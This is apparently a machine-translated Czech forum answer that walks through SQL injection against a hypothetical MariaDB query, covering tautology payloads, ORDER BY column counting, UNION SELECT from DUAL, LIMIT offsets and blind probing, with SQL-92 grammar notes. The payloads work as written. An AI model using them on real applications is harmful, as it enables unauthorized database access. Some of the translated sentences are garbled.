Dobře, tak se pobavíme.
Když se podívám na chybovou zprávu
Předpokládám, že dotaz a kód v aplikaci jsou víceméně takto pseudo moudré, @o je ve skutečnosti uživatelská proměnná MySQL..
SELECT
*
FROM
DUMMY_TABLE
WHERE
DUMMY_TABLE.o = '",@o,"'
LIMIT 10
Použiji SQL housle mezera simulovat SQL injection test a více získat možný přístup k dalším tabulkám.
Injekci můžete otestovat pomocí 1' OR 1 = 1# nebo 1' OR 1 = 1-- obojí by mělo fungovat a mělo by vám poskytnout stejný výsledek, když použijete 1 jako vstup. Je to proto, že MariaDB automaticky přenáší typy pro jiné databáze, které možná budete muset použít přísnější verzi 1' OR '1' = '1#
Což by mělo vygenerovat
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10
Nebo
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10
Potom, protože vidíte chyby v aplikaci, můžete použít ORDER BY 1 zkontrolujte, kolik sloupců je vybráno, a zvyšujte počet, dokud se nezobrazí chyba.
Chyba:ER_BAD_FIELD_ERROR:Neznámý sloupec '2' v 'klauzuli objednávky'
Vstříkněte pomocí
1' ORDER BY 1# nebo 1' ORDER BY 1--
Což znamená řadit podle prvního sloupce v sadě výsledků NE seřadit 1 doslovný.
Vygeneruje
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10
Nebo
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10
Když znáte sloupce, můžete použít UNION dostat se do jiných tabulek. Použijte NULL pokud nepotřebujete všechny sloupce.
injekce
1' UNION ALL SELECT NULL FROM DUAL#
Všimněte si, že DUAL je "virtuální" neexistující tabulka v MariaDB, MySQL a Oracle, pokud můžete dotazovat tuto "tabulku", znamená to, že se můžete technicky dostat i do jiných tabulek.
vygenerované SQL
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10
A pokud je webová stránka navržena jako "podrobná" stránka, kde je vždy viditelný jeden záznam, musíte přidat LIMIT 1, 1 ve vaší injekci.
Co když ve webové aplikaci nejsou vidět žádné chyby, měli byste být schopni slepě bruteforce geuss se slepými SQL injekcemi a vidět, jak aplikace funguje.
Zkuste také věci jako ?o=0 , ?o=NULL nebo velmi vysoká čísla, jako je maximální hodnota INT (podepsáno) ?o=2147483647 nebo (nepodepsané) ?o=4294967295 než se pokusíte hrubou silou použít číslo sloupce, abyste věděli, jak aplikace zachází se záznamy, které nelze najít. Protože je velmi nepravděpodobné, že bude mít id 0 nebo vysoká čísla na INT datový typ, protože aplikace přestane fungovat, pokud bylo zadáno poslední číslo. Pokud stále získáte záznam s těmito vysokými čísly, použijte maximální hodnoty pro BIGINT místo toho datový typ.
Pro sloupec 1 stejné id výsledku o=1 1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
U sloupců 2, které budou chybové, ale většinou pravděpodobně uvidíte chybovou stránku nebo zprávu, že záznam nebyl nalezen.
Nebo sladký chybový stav HTTP 404 (Nenalezeno). 1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
Při používání LIMIT můžete nastat jeden problém bez použití ORDER BY může být šance získat stejné záznamy, protože standard SQL definoval, že tabulky/soubory výsledků SQL jsou bez pořadí bez použití ORDER BY
V ideálním případě tedy musíte nadále používat ORDER BY 1 v bruteforces.
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
A
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
Databáze podporují ORDER BY 1 je lepší, než jsem si zpočátku myslel, protože to funguje v MySQL, MariaDB, SQL Server (MSSQL) a PostgreSQL.
Také ORDER BY 1 byla funkce SQL 92, která byla odstraněna v SQL 99.
Takže databáze SQL by ve skutečnosti neměly spouštět ORDER BY 1 pokud by se v tomto bodě řídili standardy SQL.
SQL 92 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
| <unsigned integer> # <- here it is
<ordering specification> ::= ASC | DESC
vs SQL 1999 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
# <- missing
<ordering specification> ::= ASC | DESC